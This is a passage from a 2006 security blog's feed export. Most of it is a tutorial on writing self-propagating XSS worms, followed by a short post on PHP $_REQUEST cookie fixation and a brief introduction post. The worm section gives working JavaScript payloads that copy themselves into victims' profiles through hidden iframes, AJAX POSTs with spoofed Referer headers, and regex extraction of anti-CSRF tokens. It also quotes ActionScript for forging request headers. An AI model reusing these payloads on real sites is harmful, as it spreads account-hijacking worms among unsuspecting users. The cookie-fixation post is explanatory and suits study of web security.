/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now the next step is to change the fields in the iframe. For this we'll assume that the form on the page does not have a name (since most applications don't), and the field we want to edit is called profile.&lt;br /&gt;&lt;br /&gt;The property our script needs to edit is:&lt;br /&gt;&lt;br /&gt;window.frames[0].document.forms[0].elements['profile'].value&lt;br /&gt;&lt;br /&gt;And so all we need to get our script to do is edit that value, and then submit the form, like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;window.frames[0].document.forms[0].elements['profile'].value = myString;&lt;br /&gt;window.frames[0].document.forms[0].submit();"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;When working with iframes we are loading a separate document, which may or may not load quickly, we may experience problems on slow sites where our code executes before the iframe finishes loading the form elements we want to interact with.&lt;br /&gt;&lt;br /&gt;There are a variety of methods you could use to stop such problems occurring here here. The first would be to set the onLoad attribute of the iframe like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;var d = document.getElementById('wormiframe');&lt;br /&gt;d.setAttribute('onLoad', 'set();');&lt;br /&gt;function set () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;window.frames[0].document.forms[0].elements['profile'].value = myString;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;window.frames[0].document.forms[0].submit();&lt;br /&gt;}"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And essentially that should work, except for a very small chance of some extremely bad timing occurring (e.g. setting the onLoad event to set() and the event getting executed before you can define set()), it should be fine. Or even less likely the form could get loaded before you can set the onLoad attribute and it will never get executed, but both these cases are so unlikely that you shouldn't worry about them.&lt;br /&gt;&lt;br /&gt;The second, less clean, method is to create a 'timer' (In the sense of the word, that you can say you want a block of code to get executed every X milliseconds) using [window.]setInterval() - Just a quick not about the notation, by [window.]setInterval() I mean that the function resides within the document object, but not necessary when calling the function -&amp;nbsp;&amp;nbsp;and [window.]clearInterval() to get rid of the timer. And make that timer see if it can access the window.frames[0].forms[0].elements[0].value property, and if you can't keep spinning, but if you can then clear the interval and execute your code.&lt;br /&gt;&lt;br /&gt;Use whatever method you like, but I would go for setting the onLoad attribute because its cleaner, and there's no need for some code being executed over and over again.&lt;br /&gt;&lt;br /&gt;Phew! That was enough to get me to question wether or not iframes are preferable to AJAX, but considering that AJAX is used via an ActiveX object in IE (this problem will be resolved in IE7 so we have a standard implementation), you would run into ActiveX restrictions.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.3 AJAX&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;AJAX has been hyped quite a lot recently, and while you can do a lot of useful things with it you can also do a lot of destructive things with it, a lot of them centering around IE being dodgy, etc, but anyways, this isn't about AJAX security, this is about how to use AJAX in an XSS worm. Firstly a quick warning, AJAX is awful to debug, absolutely awful, since you generally (especially in IE) see AJAX happening, and in Firefox you have to rely on extensions, so it hurts sometimes, but enough of that lets get some code happening. We'll start off with our existing code for your worm which uses an IMG tag, and make it do the same thing but with AJAX:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;var url = 'edit_profile.php?profile=';&lt;br /&gt;url = url.concat(escape(myString));&lt;br /&gt;var h = false;&lt;br /&gt;if (window.XMLHttpRequest){&lt;br /&gt;h = new XMLHttpRequest();&lt;br /&gt;} else if (window.ActiveXObject) {&lt;br /&gt;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Msxml2.XMLHTTP');&lt;br /&gt;} catch (e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Microsoft.XMLHTTP');&lt;br /&gt;&amp;nbsp;&amp;nbsp;} catch (e) {}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (h) {&lt;br /&gt;h.open('GET', url, true);&lt;br /&gt;h.send();&lt;br /&gt;}&lt;br /&gt;"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Anyways, all that the majority of new code there does is try to compensate for different implementations of the same XMLHttpRequest (XHR from here on in) object. The other line simply sends our request, easy enough.&lt;br /&gt;&lt;br /&gt;Now lets go to the scenario where we need to spoof the referer, things start getting a tiny bit complex here:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;var url = 'edit_profile.php';&lt;br /&gt;var ref = 'http://www.domain.tld/edit_profile.php';&lt;br /&gt;var params = 'profile=';&lt;br /&gt;params = params.concat(myString);&lt;br /&gt;var h = false;&lt;br /&gt;if (window.XMLHttpRequest){&lt;br /&gt;h = new XMLHttpRequest();&lt;br /&gt;} else if (window.ActiveXObject) {&lt;br /&gt;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Msxml2.XMLHTTP');&lt;br /&gt;} catch (e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Microsoft.XMLHTTP');&lt;br /&gt;&amp;nbsp;&amp;nbsp;} catch (e) {}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (h) {&lt;br /&gt;h.open('POST', url, true);&lt;br /&gt;h.setRequestHeader('Referer', ref);&lt;br /&gt;h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');&lt;br /&gt;h.setRequestHeader('Content-length', params.length);&lt;br /&gt;h.setRequestHeader('Connection', 'close');&lt;br /&gt;h.send(params);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Alright, so it didn't get too complex, but it was difficult trying to work out why PHP didn't want to create the appropriate superglobal arrays (lack of the Content-Type Request header), but essentially that all you need to do. You can and probably should set up a request handler to account for things, but for something like the above its not needed, we'll work on a more difficult example now.&lt;br /&gt;&lt;br /&gt;Lets say the page we're sending things to has been updated yet again, and this time it prevents standard CSRF attacks by having a hidden field variable which is in the page, and needs to be sent with the request, well, that would be easy enough to bypass by using iframes, but if we need to spoof a Referer header as well, we need some AJAX.&lt;br /&gt;&lt;br /&gt;For this example lets assume that the field will always be of the form:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;input name='check' type='hidden' value='X' /&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Where X is a random string, which can contain any character other than a single quote. The simplest solution to extracting that would be to use Regular Expressions, which is what we will do in the following example:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;var url = 'edit_profile.php';&lt;br /&gt;var ref = 'http://www.domain.tld/edit_profile.php';&lt;br /&gt;var params = 'profile=';&lt;br /&gt;params = params.concat(myString);&lt;br /&gt;&lt;br /&gt;function getXHR() {&lt;br /&gt;var h = false;&lt;br /&gt;if (window.XMLHttpRequest){&lt;br /&gt;&amp;nbsp;&amp;nbsp;h = new XMLHttpRequest();&lt;br /&gt;} else if (window.ActiveXObject) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Msxml2.XMLHTTP');&lt;br /&gt;&amp;nbsp;&amp;nbsp;} catch (e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h = new ActiveXObject('Microsoft.XMLHTTP');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} catch (e) {}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return h;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function r () {&lt;br /&gt;if (h.readyState == 4) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;var value = h.responseText.match( /\&amp;lt;input name=\'check\' type=\'hidden\' value=\'([^\']+\') \/\&amp;gt;/ );&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;params = params.concat('&amp;check=');&lt;br /&gt;&amp;nbsp;&amp;nbsp;params = params.concat(escape(value[1]));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var h = getXHR(); //since we use the keyword var this is a local variable, not the one we just used&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (h) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.open('POST', url, true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.setRequestHeader('Referer', ref);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.setRequestHeader('Content-length', params.length);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.setRequestHeader('Connection', 'close');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h.send(params);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;h = getXHR();&lt;br /&gt;&lt;br /&gt;if (h) {&lt;br /&gt;h.onreadystatechange = r;&lt;br /&gt;h.open('GET', url, true);&lt;br /&gt;h.send();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Alright, there isn't too much new in there, except for the use of the onreadystatechange property of the XHR property, which allows us to set a callback function which is called whenever the readystate of the object changes, the states that the object can be in are:&lt;br /&gt;&lt;br /&gt;0 = uninitialized&lt;br /&gt;1 = loading&lt;br /&gt;2 = loaded&lt;br /&gt;3 = interactive&lt;br /&gt;4 = complete&lt;br /&gt;&lt;br /&gt;And if we wanted to have some kind of debugging data then we could use those for information, but since we don't really want to notify the victim of anything, and want to minimise the size of our code, we won't do anything other than check that the transaction has been complete so that we can work with it, because that function will be called at least 4 times. it is also possible to check what status code the XHR object returned by using the status (or statusText for debugging) to do some error handling, like trying to run the code again or something, but for the sake of code size and simplicity I'll leave that out.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.4 FORM/IFRAME Combination&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Another idea for how to send data via POST to a page is to use a form. Now the most basic configuration of a form where the form target is the window it is loaded in is really obvious and ugly. But with a form we can specify a target, which could be a new window a frame, or even an iframe. I'll concentrate on the iframe idea since it seems like the leas tobvious, and the cleanest.&lt;br /&gt;&lt;br /&gt;The positive aspect of using a form on the page that you are executing your worm from rather than from inside an iframe is that you don't need to load a form from which you submit data, because your worm will contain a form which submits all the needed data. On the other hand you cannot spoof the referer (or anything else for that matter) using this method. But it is also slightly easier (IMO) than using iframes. So here goes:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;iframe style='display:hidden;' width=0 height=0 name=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;form action=edit_profile.php method=post target=wormiframe&amp;gt;&amp;lt;input name=profile /&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;iframe style=\'display:hidden;\' width=0 height=0 name=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;form action=edit_profile.php method=post target=wormiframe&amp;gt;&amp;lt;input name=profile /&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;document.forms[0].elements['profile'].value = myString;&lt;br /&gt;document.forms[0].submit();"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So, alright, its not that much easier than the iframe, but you don't have to worry about any loading issues here. And its just another way, something you should be aware of, if not use.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.5 Flash&lt;br /&gt;======================&lt;br /&gt;The delivery of worms via flash comes in two categories,&amp;nbsp;&amp;nbsp;which i will henceforth refer to as simple and advanced. This is not really a reflection on the difficulty of creating a worm through one of these methods, rather it is a reflection of the cleanliness of the interface we are using, so to speak. Anyway, onto the code.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.5.1 Simple Flash XSS&lt;br /&gt;======================&lt;br /&gt;The principle behind so called simple flash XSS is quite simplistic. It is the injection of a javascript: url into the browser.&lt;br /&gt;&lt;br /&gt;It can easily be achieved through using the getURL function to arbitarily send the user to any URL, in our case a javascript: URL. After that is done the code we send would be the same as we would normally use in any other XSS attack vector, so I don't believe anything more really needs to be said.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.5.1 More Advanced Flash XSS&lt;br /&gt;======================&lt;br /&gt;The more interesting application of Flash in XSS worms is the ability to send (more or less) arbitary request headers[1]. And since I do not know enough about Flash to claim any actual knowledge of this idea other than its existance I believe that a quote from Amit Klein's paper will be much more ideal:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;The following is ActionScript 2.0 syntax for sending out a GET&lt;br /&gt;request (in this example, to&lt;br /&gt;http://www.vuln.site/some/page.cgi?p1=v1&amp;p2=v2) with an arbitrary&lt;br /&gt;HTTP header (Foo: Bar). This code works with Flash 7 and Flash 8&lt;br /&gt;(probably with Flash 6 as well):&lt;br /&gt;&lt;br /&gt;var req:LoadVars=new LoadVars();&lt;br /&gt;req.addRequestHeader("Foo","Bar");&lt;br /&gt;req.send("http://www.vuln.site/some/page.cgi?p1=v1&amp;p2=v2",&lt;br /&gt;"_blank","GET");&lt;br /&gt;&lt;br /&gt;A similar syntax will send POST request (with the same header, to&lt;br /&gt;the same URL, and with body a=b&amp;c=d):&lt;br /&gt;&lt;br /&gt;var req:LoadVars=new LoadVars();&lt;br /&gt;req.addRequestHeader("Foo","Bar");&lt;br /&gt;req.decode("a=b&amp;c=d");&lt;br /&gt;req.send("http://www.vuln.site/some/page.cgi?p1=v1&amp;p2=v2",&lt;br /&gt;"_blank","POST");&lt;br /&gt;&lt;br /&gt;(note: the LoadVars.decode() method was added in Flash 7, yet&lt;br /&gt;it's probably possible to compose an arbitrary POST body without&lt;br /&gt;it, so Flash 6 may be covered as well by this variant).&lt;br /&gt;&lt;br /&gt;The request is sent from the browser invoking the Flash object.&lt;br /&gt;Any cookies the browser normally sends, will be sent in those&lt;br /&gt;cases as well. The browser's User-Agent is sent, as well as all&lt;br /&gt;browser standard headers. HTTPS links are supported.&lt;br /&gt;&lt;br /&gt;This was successfully demonstrated with Microsoft IE 6.0,&lt;br /&gt;Microsoft IE 6.0 SP2 and FireFox 1.5.0.4, running Flash 8.0.22.0&lt;br /&gt;and Flash 7.0.19.0.&lt;br /&gt;&lt;br /&gt;In IE, it is possible to overwrite some "normal" browser headers&lt;br /&gt;by simply calling addRequestHeader with the new value. This is&lt;br /&gt;applicable to both Referer and User-Agent. In FireFox 1.5.0.4,&lt;br /&gt;such headers, when used in addRequestHeader() will be appended to&lt;br /&gt;the HTTP request header section.&lt;br /&gt;&lt;br /&gt;// One UA in IE 6.0 SP2, two UAs in FF 1.5.0.4&lt;br /&gt;req.addRequestHeader("User-Agent","Hacker/1.0");&lt;br /&gt;&lt;br /&gt;// One Referer in IE 6.0 SP2, two Referers in FF 1.5.0.4&lt;br /&gt;req.addRequestHeader("Referer","http://somewhere/");&lt;br /&gt;&lt;br /&gt;In IE, it is also possible to overwrite some more sensitive&lt;br /&gt;headers (e.g. Host and Content-Length) by appending colon to the&lt;br /&gt;header name (this technique was described in [3] in the context&lt;br /&gt;of XmlHttpRequest):&lt;br /&gt;&lt;br /&gt;req.addRequestHeader("Host:","foobar.site");&lt;br /&gt;&lt;br /&gt;This technique doesn't appear to work in FireFox 1.5.0.4.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;After a bit of testing it is dissapointing to learn that if headers are sent more than once then PHP simply appends them together with a comma and a space as separaters, and since most web apps will only check if a string is equal, this rules out Referer spoofing on Firefox.&lt;br /&gt;&lt;br /&gt;Sending POST requests is still possible though, and so if you need to send post requests but do not need to perform Referer spoofing and don't want to worry about finding source code in the page, and how AJAX works, getting it to work on IE, etc, then Flash is a very nice choice.&lt;br /&gt;&lt;br /&gt;I don't think I need to provide an example for this section, so unless someone &lt;i&gt;really&lt;/i&gt; needs one (which I hope you don't), so you'll have to write your own.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;5.0 Final Notes&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;As you can see if you can execute arbitary Javascript code you can do a lot of damage, especially if you have access ot the XXMLHttpRequest Object, in which case you can forge absolutely everything which does not require user intelligence (such as being able to decode a CAPTCHA, which you can socially engineer the victim into decoding for you anyway, or having the user enter a assword or similar).&lt;br /&gt;&lt;br /&gt;Also, to minimise the size of the code here you can always do things like replacing all my calls to the [String.]concat() method to concatenate strings, with plus signs to concatenate strings, or performing other little shortcuts, or shortening variable names, but the code should be short enough to pass in most places.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt;Furthermore, if you have the ability to embed Flash files, then writing an XSS worm is generally much simpler than using AJAX, but it is also something that you will rarely find when trying to evade filters. So if you are more comfortable using Flash then your life just got much easier.&lt;br /&gt;&lt;br /&gt;A quick explanatory note:&lt;br /&gt;First of all Flash was initially left out because I only knew about the method of executing Javascript and thought that would be better covered somewhere which deals with XSS vectors rather than their payloads, and so did not choose to include it. I have included the simple version in version 0.3 for a bit more completeness. Amit Klien's paper came out about 2-3 weeks after I published version 0.2 of this (which itself was published more than 2 months before that), and as I had only very ilmited experience with Flash I did not myself know of the system in place.&lt;br /&gt;&lt;br /&gt;Written by kuza55.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt;&lt;br /&gt;======================&lt;br /&gt;6.0 References&lt;br /&gt;======================&lt;br /&gt;Everything up to version 0.2 was done from my own knowledge and discovery and so a references section was not needed. Now with the addition of Flash I have some references.&lt;br /&gt;[1] "Forging HTTP Request Headers with Flash ActionScript" by Amit Klein&lt;br /&gt;&lt;a href="http://www.securityfocus.com/archive/1/441014/30/"&gt;http://www.securityfocus.com/archive/1/441014/30/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114188738890496569?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114188738890496569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114188738890496569' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188738890496569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188738890496569'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/03/writing-xss-worm.html' title='Writing an XSS Worm'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114188652531941536</id><published>2006-03-09T17:33:00.000+11:00</published><updated>2006-10-11T21:43:45.431+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>$_REQUEST Variable Fixation</title><content type='html'>===================================&lt;br /&gt;$_REQUEST Variable Fixation&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;The issue described here is one that also affects register_globals, but unlike register_globals there are no plans to remove $_REQUEST. This issue is not an exploit in itself, but is one that developers should be aware of nonetheless.&lt;br /&gt;&lt;br /&gt;=============&lt;br /&gt;Background&lt;br /&gt;=============&lt;br /&gt; &lt;br /&gt;The issue with $_REQUEST is not some fault, but it is an issue it has by virtue of what it attempts to do. $_REQUEST is populated from the same sources as the superglobal arrays defined in the php.ini setting variables_order, here is php.net's explanation of what it affects:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Set the order of the EGPCS (Environment, GET, POST, Cookie, Server) variable parsing. The default setting of this directive is "EGPCS". Setting this to "GP", for example, will cause PHP to completely ignore environment variables, cookies and server variables, and to overwrite any GET method variables with POST-method variables of the same name. &lt;br /&gt;&lt;br /&gt;In the default setting (EGPCS) $_REQUEST is first populated with the data of $_ENV, and then with $_GET, and if there are any keys which are the same the keys already in $_REQUEST are overriden with those in $_GET, and then the process is repeated for $_POST, $_COOKIE and $_SERVER.&lt;br /&gt;&lt;br /&gt;=============&lt;br /&gt;The Issue&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt;The issue is that if an attacker is able to set a cookie with the same key as say a form element or GET variable, then the script will act on the value in the cookie untill it is removed.&lt;br /&gt;&lt;br /&gt;Now, what actual applications can this have you ask? Well, imagine someone finds an XSS flaw in an otherwise completely secure application, where even if you obtain the session ID via this XSS hole you won't be able to do much because only one session can be active at a time, and the session id gets regenerated on every page, and the session is also bound to the user's IP, so even if you have the cookie data there isn't much you can do, and the users of the target application are generally careful enough to only enter their password in the proper place (so using the XSS hole to create a username/password form would be out of the question).&lt;br /&gt;Now if this application were lets say, a bank's site, and they used $_REQUEST for getting data from the user, and the attacker then set a cookie with the key the same as the key of the field where the user enters the bank account ID where to transfer money, and sets the cookie's value to an account number which corresponds to an account under the attacker's control.&lt;br /&gt;&lt;br /&gt;Another situation where this could be employed would be when a site uses $_REQUEST to get a new password from a user when allowing users to change their password, and you can set a cookie to make the application set a password of your liking.&lt;br /&gt;&lt;br /&gt;=============&lt;br /&gt;Conclusion&lt;br /&gt;=============&lt;br /&gt;While this is an interesting idea in my view, it is probably one of low severity, and its actual applications would be limited, so while its nothing to start auditing your code over it would be wise to either edit the variables_order directive to remove cookies and server variables, and maybe even environment variables, because there is only a very limited need for applications which can support input through many different methods (i.e. $_POST, $_GET, $_COOKIE, $_ENV, $SERVER), and it would be wise to reconsider your need for it, but if you decide you do need it then there is no real reason not to, though it is an issue you should be aware of.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; - kuza55&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114188652531941536?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114188652531941536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114188652531941536' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188652531941536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188652531941536'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/03/request-variable-fixation.html' title='$_REQUEST Variable Fixation'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114188568075486644</id><published>2006-03-09T17:25:00.000+11:00</published><updated>2006-10-11T22:51:24.427+10:00</updated><title type='text'>Introduction...</title><content type='html'>Well, I'm starting this blog because I'm too lazy to get myself a host and then have to maintain my code, when its so much easier to just use Blogger....&lt;br /&gt;&lt;br /&gt;.....And I'd decided I wanted to post  what I'm going to post very soon, and didn't have anywhere to do so, so yeah, I hope you find something interesting on here.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114188568075486644?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114188568075486644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114188568075486644' title='0 Comments'/><link rel='edit' 